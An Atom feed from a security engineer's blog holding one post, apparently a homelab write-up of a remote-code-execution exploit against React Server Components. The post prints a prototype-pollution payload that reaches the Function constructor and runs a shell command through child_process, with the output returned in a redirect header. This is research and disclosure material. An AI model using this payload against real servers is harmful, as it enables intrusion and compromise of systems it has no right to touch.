<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://espresso-sec.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://espresso-sec.com/" rel="alternate" type="text/html" /><updated>2026-08-17T02:13:00+00:00</updated><id>https://espresso-sec.com/feed.xml</id><title type="html">Nemesis Contreras</title><subtitle>Senior Application Security Engineer</subtitle><entry><title type="html">React2Shell: Achieving RCE in React Server Components</title><link href="https://espresso-sec.com/research/react2shell-rce/" rel="alternate" type="text/html" title="React2Shell: Achieving RCE in React Server Components" /><published>2025-12-05T00:00:00+00:00</published><updated>2025-12-05T00:00:00+00:00</updated><id>https://espresso-sec.com/research/react2shell-rce</id><content type="html" xml:base="https://espresso-sec.com/research/react2shell-rce/"><![CDATA[<p>For those following react2shell exploits, I finally managed to successfully exploit RCE. This was purposely done in a controlled homelab environment for security research purposes, especially since there are now cyber threat groups from China exploiting these vulnerabilities.</p>

<!--more-->

<h2 id="background">Background</h2>

<p>At a high level, this vulnerability affects the React Flight Protocol used in React Server Components (RSC) to serialize data and components when they need to be sent to the client and then deserialize them. The objects are stored in a chunks array that use colons as delimiters to reference them.</p>

<h2 id="understanding-reference-resolution">Understanding Reference Resolution</h2>

<p>An example of how the reference resolution works:</p>

<p>Assume you’re trying to pull the name of the cat from the below object. In React, to reference the name it would be <code class="language-plaintext highlighter-rouge">"$1:cat:name"</code>:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">chunks</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span>
  <span class="na">cat</span><span class="p">:</span> <span class="p">{</span>
    <span class="na">name</span><span class="p">:</span> <span class="dl">"</span><span class="s2">Pudin</span><span class="dl">"</span><span class="p">,</span>
    <span class="na">age</span><span class="p">:</span> <span class="mi">15</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The resolution process:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">value</span> <span class="o">=</span> <span class="nx">chunks</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>           <span class="c1">// Go to Chunk ID 1 = {cat: {...}}</span>
<span class="nx">value</span> <span class="o">=</span> <span class="nx">value</span><span class="p">[</span><span class="dl">"</span><span class="s2">cat</span><span class="dl">"</span><span class="p">]</span>        <span class="c1">// = {name: "Pudin", age: 15}</span>
<span class="nx">value</span> <span class="o">=</span> <span class="nx">value</span><span class="p">[</span><span class="dl">"</span><span class="s2">name</span><span class="dl">"</span><span class="p">]</span>       <span class="c1">// = "Pudin"</span>
</code></pre></div></div>

<h2 id="exploitation-process">Exploitation Process</h2>

<h3 id="request-1-triggering-the-error">Request 1: Triggering the Error</h3>

<p>Asking the server to retrieve cat.name from chunks[1] but we have sent an empty object {} that has no cat property. This should error out the server with a 500 error.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">chunks</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="p">[</span><span class="dl">"</span><span class="s2">$1:cat:name</span><span class="dl">"</span><span class="p">]</span>
<span class="nx">chunks</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="p">{}</span>
</code></pre></div></div>

<p>Step-by-step breakdown:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Step 1: Start at chunks[1]</span>
<span class="nx">value</span> <span class="o">=</span> <span class="nx">chunks</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>              <span class="c1">// = {}</span>

<span class="c1">// Step 2: Access "cat" property</span>
<span class="nx">value</span> <span class="o">=</span> <span class="nx">value</span><span class="p">[</span><span class="dl">"</span><span class="s2">cat</span><span class="dl">"</span><span class="p">]</span>           <span class="c1">// = {}.cat = undefined ← No cat </span>

<span class="c1">// Step 3: Access "name" property</span>
<span class="nx">value</span> <span class="o">=</span> <span class="nx">value</span><span class="p">[</span><span class="dl">"</span><span class="s2">name</span><span class="dl">"</span><span class="p">]</span>          <span class="c1">// = undefined.name → 500 error</span>
</code></pre></div></div>

<p><img src="/assets/images/IoC-poc.png" alt="Request showing undefined name error" /></p>

<p>If we had a proper object sent instead on an empty one the server would return a 200 status code such as the below:</p>

<p><img src="/assets/images/name-poc.png" alt="Successful payload delivery" /></p>

<h3 id="request-2-malicious-payload">Request 2: Malicious Payload</h3>

<p>This leverages a malicious object which has key elements:</p>

<ul>
  <li>Prototype pollution</li>
  <li>Function constructor access</li>
  <li>Code execution</li>
  <li>Command output exfiltrated via x-action-redirect header</li>
  <li>Full RCE achieved</li>
</ul>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">chunks</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="nx">malicious</span> <span class="nx">object</span><span class="p">}</span>
<span class="nx">chunks</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">$@0</span><span class="dl">"</span> <span class="p">(</span><span class="nx">reference</span> <span class="nx">to</span> <span class="nx">chunks</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
<span class="nx">chunks</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="p">[]</span>
</code></pre></div></div>

<p><img src="/assets/images/rce_poc.png" alt="RCE proof of concept" /></p>

<h2 id="malicious-object-breakdown">Malicious Object Breakdown</h2>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span>
  <span class="dl">"</span><span class="s2">then</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">$1:__proto__:then</span><span class="dl">"</span><span class="p">,</span>
  <span class="dl">"</span><span class="s2">status</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">resolved_model</span><span class="dl">"</span><span class="p">,</span>
  <span class="dl">"</span><span class="s2">reason</span><span class="dl">"</span><span class="p">:</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span>
  <span class="dl">"</span><span class="s2">value</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">{</span><span class="se">\"</span><span class="s2">then</span><span class="se">\"</span><span class="s2">:</span><span class="se">\"</span><span class="s2">$B1337</span><span class="se">\"</span><span class="s2">}}</span><span class="dl">"</span><span class="p">,</span>
  <span class="dl">"</span><span class="s2">_response</span><span class="dl">"</span><span class="p">:</span> <span class="p">{</span>
    <span class="dl">"</span><span class="s2">_formData</span><span class="dl">"</span><span class="p">:</span> <span class="p">{</span>
      <span class="dl">"</span><span class="s2">get</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">$1:constructor:constructor</span><span class="dl">"</span>
    <span class="p">},</span>
    <span class="dl">"</span><span class="s2">_prefix</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">var res=process.mainModule.require('child_process').execSync('id').toString();...</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">_chunks</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">$Q2</span><span class="dl">"</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Key components:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">"then": "$1:__proto__:then"</code> - Prototype pollution that rewrites the global prototype template</li>
  <li><code class="language-plaintext highlighter-rouge">"status": "resolved_model"</code> - Tricks React into treating malicious object as legitimate resolved data</li>
  <li><code class="language-plaintext highlighter-rouge">"_formData": {"get": "$1:constructor:constructor"}</code> - Function constructor access that enables arbitrary JavaScript execution</li>
  <li><code class="language-plaintext highlighter-rouge">"_prefix": "var res=process.mainModule.require('child_process').execSync('id')..."</code> - Imports child_process module, executes system command, captures output, and exfiltrates via NEXT_REDIRECT error</li>
  <li><code class="language-plaintext highlighter-rouge">"_chunks": "$Q2"</code> - Points to empty array [] to complete deserialization</li>
</ul>

<p>This leads to the server executing the <code class="language-plaintext highlighter-rouge">id</code> command and having the output exfiltrated via HTTP redirect header for RCE.</p>

<h2 id="impact">Impact</h2>

<p>This vulnerability demonstrates a critical flaw in how React Server Components handle deserialization. Successful exploitation allows:</p>

<ul>
  <li>Remote code execution on the server</li>
  <li>Data exfiltration through redirect headers</li>
  <li>Complete system compromise</li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>This research was conducted in a controlled environment to better understand the attack surface of React Server Components. Organizations using RSC should ensure they are running patched versions and implement proper input validation on all server-side deserialization operations.</p>

<p><strong>Disclosure</strong>: This research was conducted in a private homelab environment for educational and defensive security purposes only.</p>]]></content><author><name></name></author><category term="security" /><summary type="html"><![CDATA[For those following react2shell exploits, I finally managed to successfully exploit RCE. This was purposely done in a controlled homelab environment for security research purposes, especially since there are now cyber threat groups from China exploiting these vulnerabilities.]]></summary></entry></feed>